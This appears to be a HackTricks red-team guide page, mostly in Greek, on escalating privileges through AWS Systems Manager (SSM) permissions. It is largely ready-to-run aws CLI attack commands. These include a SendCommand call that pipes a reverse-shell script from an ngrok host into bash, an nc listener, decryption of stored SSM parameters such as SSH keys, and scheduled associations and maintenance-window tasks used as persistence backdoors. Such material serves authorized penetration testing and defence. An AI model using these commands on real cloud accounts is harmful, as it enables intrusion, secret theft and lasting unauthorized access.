AWS - SSM Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

SSM

Για περισσότερες πληροφορίες σχετικά με το SSM, δες:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Ένας attacker με το permission ssm:SendCommand μπορεί να εκτελέσει commands σε instances που τρέχουν το Amazon SSM Agent και να compromise το IAM Role που εκτελείται μέσα σε αυτό.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Σε περίπτωση που χρησιμοποιείς αυτή την technique για να κάνεις escalate privileges μέσα σε ένα ήδη compromised EC2 instance, μπορείς απλώς να capture το rev shell τοπικά με:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Πιθανό Impact: Άμεσο privesc στους EC2 IAM ρόλους που είναι attached σε running instances με ενεργούς SSM Agents.

ssm:StartSession

Ένας attacker με το permission ssm:StartSession μπορεί να ξεκινήσει ένα SSH like session σε instances που τρέχουν το Amazon SSM Agent και να compromise τον IAM Role που εκτελείται μέσα σε αυτό.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Caution

Για να ξεκινήσεις μια session χρειάζεσαι το SessionManagerPlugin εγκατεστημένο: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potential Impact: Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running.

Privesc to ECS

Όταν τα ECS tasks τρέχουν με το ExecuteCommand enabled, οι users με αρκετά permissions μπορούν να χρησιμοποιήσουν ecs execute-command για να execute a command μέσα στο container.
Σύμφωνα με the documentation αυτό γίνεται δημιουργώντας ένα secure channel μεταξύ της device που χρησιμοποιείς για να ξεκινήσεις την “exec“ command και του target container με το SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)
Therefore, users με ssm:StartSession θα μπορούν να get a shell inside ECS tasks με αυτήν την option enabled απλά τρέχοντας:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potential Impact: Άμεσο privesc στα ECSIAM roles που είναι attached σε running tasks με ενεργοποιημένο ExecuteCommand.

ssm:ResumeSession

Ένας attacker με το permission ssm:ResumeSession μπορεί να επαν-ξεκινήσει ένα SSH like session σε instances που τρέχουν το Amazon SSM Agent με κατάσταση disconnected SSM session και να compromise το IAM Role που τρέχει μέσα σε αυτό.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potential Impact: Άμεσο privesc στους EC2 IAM roles που είναι attached σε running instances με SSM Agents που τρέχουν και disconnected sessions.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Ένας attacker με τα αναφερόμενα permissions θα μπορεί να κάνει list τα SSM parameters και να τα διαβάσει σε clear-text. Σε αυτά τα parameters μπορεί συχνά να βρει sensitive πληροφορίες όπως SSH keys ή API keys.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Πιθανό Αντίκτυπο: Εύρεση ευαίσθητων πληροφοριών μέσα στις παραμέτρους.

ssm:ListCommands

Ένας attacker με αυτό το permission μπορεί να κάνει list όλα τα commands που στάλθηκαν και, με λίγη τύχη, να βρει ευαίσθητες πληροφορίες σε αυτά.

aws ssm list-commands

Πιθανή Επίπτωση: Βρες ευαίσθητες πληροφορίες μέσα στις command lines.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Ένας attacker με αυτά τα permissions μπορεί να κάνει list όλα τα commands που στάλθηκαν και να διαβάσει το output που δημιουργήθηκε, ελπίζοντας να βρει ευαίσθητες πληροφορίες σε αυτό.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Πιθανός Αντίκτυπος: Εντοπισμός ευαίσθητων πληροφοριών μέσα στην έξοδο των command lines.

Using ssm:CreateAssociation

Ένας attacker με την permission ssm:CreateAssociation μπορεί να δημιουργήσει ένα State Manager Association για να εκτελεί αυτόματα commands σε EC2 instances που διαχειρίζονται από το SSM. Αυτές οι associations μπορούν να ρυθμιστούν ώστε να εκτελούνται σε σταθερό interval, καθιστώντας τες κατάλληλες για persistence τύπου backdoor χωρίς interactive sessions.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

Αυτή η μέθοδος persistence λειτουργεί όσο το EC2 instance διαχειρίζεται από Systems Manager, το SSM agent τρέχει, και ο attacker έχει permission να δημιουργεί associations. Δεν απαιτεί interactive sessions ή explicit ssm:SendCommand permissions. Σημαντικό: το --schedule-expression parameter (π.χ. rate(30 minutes)) πρέπει να τηρεί το ελάχιστο interval των 30 minutes του AWS. Για άμεση ή one-time εκτέλεση, παράλειψε εντελώς το --schedule-expression — το association θα εκτελεστεί μία φορά μετά τη δημιουργία.

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

Ένας attacker με τα permissions ssm:UpdateDocument και ssm:UpdateDocumentDefaultVersion μπορεί να κάνει privilege escalation τροποποιώντας υπάρχοντα documents. Αυτό επιτρέπει επίσης persistence μέσα σε αυτό το document. Στην πράξη ο attacker θα χρειαζόταν επίσης ssm:ListDocuments για να πάρει τα ονόματα των custom documents και αν ο attacker θέλει να obfuscate το payload του μέσα σε ένα υπάρχον document, το ssm:GetDocument θα ήταν επίσης απαραίτητο.

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

Παρακάτω είναι ένα παράδειγμα εγγράφου που μπορεί να χρησιμοποιηθεί για να αντικαταστήσει ένα υπάρχον έγγραφο. Θα θέλεις να διασφαλίσεις ότι ο τύπος του εγγράφου σου ταιριάζει με τον τύπο των εγγράφων-στόχων για να αποφύγεις προβλήματα με την κλήση. Το παρακάτω έγγραφο, για παράδειγμα, θα το ssm:SendCommand και ssm:CreateAssociation παραδείγματα.

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

Ένας attacker με τα permissions ssm:RegisterTaskWithMaintenanceWindow και ssm:RegisterTargetWithMaintenanceWindow μπορεί να κάνει privilege escalation κάνοντας πρώτα register έναν νέο target με ένα υπάρχον maintenance window και μετά ενημερώνοντας κάνοντας register ένα νέο task. Αυτό επιτυγχάνει execution στους υπάρχοντες targets, αλλά μπορεί να επιτρέψει σε έναν attacker να compromise compute με διαφορετικά roles κάνοντας register νέους targets. Αυτό επίσης επιτρέπει persistence, καθώς τα maintenance windows tasks εκτελούνται σε ένα pre-defined interval κατά τη δημιουργία του window. Πρακτικά ο attacker θα χρειαζόταν επίσης ssm:DescribeMaintenanceWindows για να πάρει τα maintenance window IDs.

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Codebuild

Μπορείς επίσης να χρησιμοποιήσεις το SSM για να μπεις μέσα σε ένα codebuild project που βρίσκεται υπό κατασκευή:

AWS - Codebuild Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks